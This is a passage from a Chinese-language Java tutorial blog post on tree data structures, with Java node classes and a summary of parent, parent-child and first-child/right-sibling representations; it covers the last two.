public TreeNode(E e, int parent, TreeNodeChild<E> firstChild) {
this.e = e;
this.parent = parent;
this.firstChild = firstChild;
}
}

/**
* 子节点链表结构
*
* @param <E>
*/
private static class TreeNodeChild<E> {
//子节点的索引
int index;
//下一个子节点的索引
TreeNodeChild<E> next;

public TreeNodeChild(int index, TreeNodeChild<E> next) {
this.index = index;
this.next = next;
}
}

2.3 父子兄弟表示法

对于上面的父节点表示法和父子节点表示法,不能很方便的得知节点的兄弟节点。

实际上,我们观察树形结构后发现,任意一棵树,它的结点的第一个孩子如果存在就是唯一的,它的右兄弟如果存在也是唯一的。因此,我们设置两个索引,分别指向该结点的第一个孩子和此结点的右兄弟。只需要两个引用就能很方便的表示出节点的唯一对应关系。

为了突破节点数量限制,我们可以使用链表。为了找到父节点,我们还可以添加父节点索引。

data(数据域) parent(父节点引用) child(第一个子节点引用) right(节点右兄弟引用)
r null a null
a r d b
b r f c
c r g null
d a i e
e a null null
f b null null
g c null h
h c null null
i d null j
j d null k
k d null null

节点可以统一设计为如下,不需要额外的节点结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java复制代码/**
* 树节点的设计
*
* @param <E> E类型
*/
private static class TreeNode<E> {
//数据域
E e;
//父节点的引用(可选)
TreeNode<E> parent;

//第一个子节点的引用
TreeNode<E> firstChild;

//右兄弟节点的引用
TreeNode<E> rightBrother;
}

使用示意图来直观的展示这种表示法的效果:

在这里插入图片描述

图中只标出了子节点和兄弟节点的引用链,红色为子节点引用,黑色为右兄弟节点的引用。我们看到,只需要这两个引用关系就能表示出一颗完整的树。并且需要查找某个节点的子节点或者父节点或者兄弟节点时,不需要完整遍历整颗树。

上面的表示方法,每个节点最多包括两个引用节点(不计算父节点引用),实际上这样的表示方法,把复杂的多子节点的树,表示成了一颗简单的二叉树:

在这里插入图片描述

这种表示法将是以后最常用的方法,二叉树将是我们在以后用到的最多的树种之一。

3 总结

本文作为树这种数据结构的入门文章,详细讲解了树以及各种专业术语的定义和解释,然后讲解了树的通用实现,讲了父节点表示法、父子节点链表示法、父子兄弟表示法。实际上后面的特性化的数据结构比如二叉树、AVL树、红黑树,均有自己的表示方法。但是上面这几种方法作为树的通用实现,还是可以了解一下的。

最后提到了二叉树,二叉树将是我们在以后用到的最多的树种之一,内容非常繁多,在此不做介绍,本文作为树的入门文章,在后续的文章中,将慢慢介绍二叉树等特性化的树。

相关文章:

  1. 《大话数据结构》
  2. 《算法图解》
  3. 《算法》

如果有什么不懂或者需要交流,可以留言。另外希望点赞、收藏、关注,我将不间断更新各种Java学习博客!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…205206207…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%